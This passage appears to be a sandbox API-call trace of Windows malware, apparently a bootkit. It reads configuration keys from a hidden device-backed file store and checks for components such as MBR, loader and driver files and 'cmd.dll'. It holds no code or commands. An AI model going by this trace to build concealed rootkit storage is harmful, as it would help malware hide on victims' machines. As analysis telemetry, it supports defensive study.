Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.709] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.709] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.710] IdePortDispatch () returned 0x103 [0124.710] KeWaitForMutexObject () returned 0x0 [0124.710] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.710] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.710] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.710] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.710] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.710] IdePortDispatch () returned 0x103 [0124.710] KeWaitForMutexObject () returned 0x0 [0124.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.710] KeLeaveCriticalRegion () [0124.710] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.710] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.711] KeEnterCriticalRegion () [0124.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.711] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.711] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.711] KeLeaveCriticalRegion () [0124.711] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.711] KeEnterCriticalRegion () [0124.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.711] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.711] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.711] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.711] KeLeaveCriticalRegion () [0124.711] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.711] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.711] KeEnterCriticalRegion () [0124.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.711] ExFreePoolWithTag (P=0xfffffa8003bf3a80, Tag=0x0) [0124.711] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.711] KeLeaveCriticalRegion () [0124.711] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.711] ReleaseMutex (hMutex=0xf0) returned 1 [0124.711] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.711] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.711] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.711] KeEnterCriticalRegion () [0124.711] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.711] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.711] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.711] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.711] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.711] IdePortDispatch () returned 0x103 [0124.711] KeWaitForMutexObject () returned 0x0 [0124.711] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.711] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.711] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.711] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.712] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.712] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3ea0 [0124.712] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.712] KeLeaveCriticalRegion () [0124.712] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.712] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.712] KeEnterCriticalRegion () [0124.712] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.712] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.712] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.712] KeLeaveCriticalRegion () [0124.712] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.712] KeEnterCriticalRegion () [0124.712] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.712] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.712] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.712] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.712] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.712] IdePortDispatch () returned 0x103 [0124.712] KeWaitForMutexObject () returned 0x0 [0124.712] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.712] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.712] KeLeaveCriticalRegion () [0124.712] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.712] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.712] KeEnterCriticalRegion () [0124.712] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.712] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035a8000 [0124.712] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.712] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.712] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.712] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.712] IdePortDispatch () returned 0x103 [0124.713] KeWaitForMutexObject () returned 0x0 [0124.713] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.713] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.713] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.713] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.713] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.713] IdePortDispatch () returned 0x103 [0124.713] KeWaitForMutexObject () returned 0x0 [0124.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.713] KeLeaveCriticalRegion () [0124.713] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.713] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.713] KeEnterCriticalRegion () [0124.713] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.713] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.713] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.713] KeLeaveCriticalRegion () [0124.714] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.714] KeEnterCriticalRegion () [0124.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.714] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.714] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.714] KeLeaveCriticalRegion () [0124.714] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.714] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.714] KeEnterCriticalRegion () [0124.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.714] ExFreePoolWithTag (P=0xfffffa8003bf3ea0, Tag=0x0) [0124.714] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.714] KeLeaveCriticalRegion () [0124.714] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.714] ReleaseMutex (hMutex=0xf0) returned 1 [0124.714] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.714] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.714] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.714] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.715] KeEnterCriticalRegion () [0124.715] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.715] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.715] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.715] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.715] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.715] IdePortDispatch () returned 0x103 [0124.715] KeWaitForMutexObject () returned 0x0 [0124.715] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.715] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.715] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.715] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.715] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.715] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.715] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.715] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.715] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.715] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.715] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.715] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.715] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.715] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.715] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.715] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.715] KeLeaveCriticalRegion () [0124.715] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.715] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.715] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.715] KeEnterCriticalRegion () [0124.715] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.715] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.715] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.715] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.715] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.715] IdePortDispatch () returned 0x103 [0124.716] KeWaitForMutexObject () returned 0x0 [0124.716] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.716] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.716] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.716] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.716] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.716] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.716] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.716] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.716] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.716] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.716] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.716] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.716] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.716] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.716] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.716] KeLeaveCriticalRegion () [0124.716] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.716] ReleaseMutex (hMutex=0x100) returned 1 [0124.716] Sleep (dwMilliseconds=0x2bf20) [0124.722] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d8928f0, dwHighDateTime=0x1d24fa4)) [0124.722] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.722] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.722] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.722] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.722] KeEnterCriticalRegion () [0124.722] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.722] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.722] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.722] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.722] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.722] IdePortDispatch () returned 0x103 [0124.723] KeWaitForMutexObject () returned 0x0 [0124.723] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.723] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.723] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.723] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.723] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.723] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1cb0 [0124.723] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.723] KeLeaveCriticalRegion () [0124.723] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.723] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.723] KeEnterCriticalRegion () [0124.723] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.723] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.723] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.723] KeLeaveCriticalRegion () [0124.723] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.723] KeEnterCriticalRegion () [0124.723] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.723] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.723] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.723] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.723] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.723] IdePortDispatch () returned 0x103 [0124.724] KeWaitForMutexObject () returned 0x0 [0124.724] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.724] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.724] KeLeaveCriticalRegion () [0124.724] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.724] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.724] KeEnterCriticalRegion () [0124.724] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.724] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ab000 [0124.724] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.724] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.724] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.724] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.724] IdePortDispatch () returned 0x103 [0124.724] KeWaitForMutexObject () returned 0x0 [0124.724] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.724] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.724] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.724] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.724] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.724] IdePortDispatch () returned 0x103 [0124.725] KeWaitForMutexObject () returned 0x0 [0124.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.725] KeLeaveCriticalRegion () [0124.725] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.725] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.725] KeEnterCriticalRegion () [0124.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.725] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.725] KeLeaveCriticalRegion () [0124.725] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.725] KeEnterCriticalRegion () [0124.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.725] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.725] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.725] KeLeaveCriticalRegion () [0124.725] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.725] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.725] KeEnterCriticalRegion () [0124.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.725] ExFreePoolWithTag (P=0xfffffa8003bf1cb0, Tag=0x0) [0124.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.725] KeLeaveCriticalRegion () [0124.725] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.726] ReleaseMutex (hMutex=0xf0) returned 1 [0124.726] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.726] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.726] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.726] KeEnterCriticalRegion () [0124.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.726] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.726] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.726] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.726] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.726] IdePortDispatch () returned 0x103 [0124.726] KeWaitForMutexObject () returned 0x0 [0124.726] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.726] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.726] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", 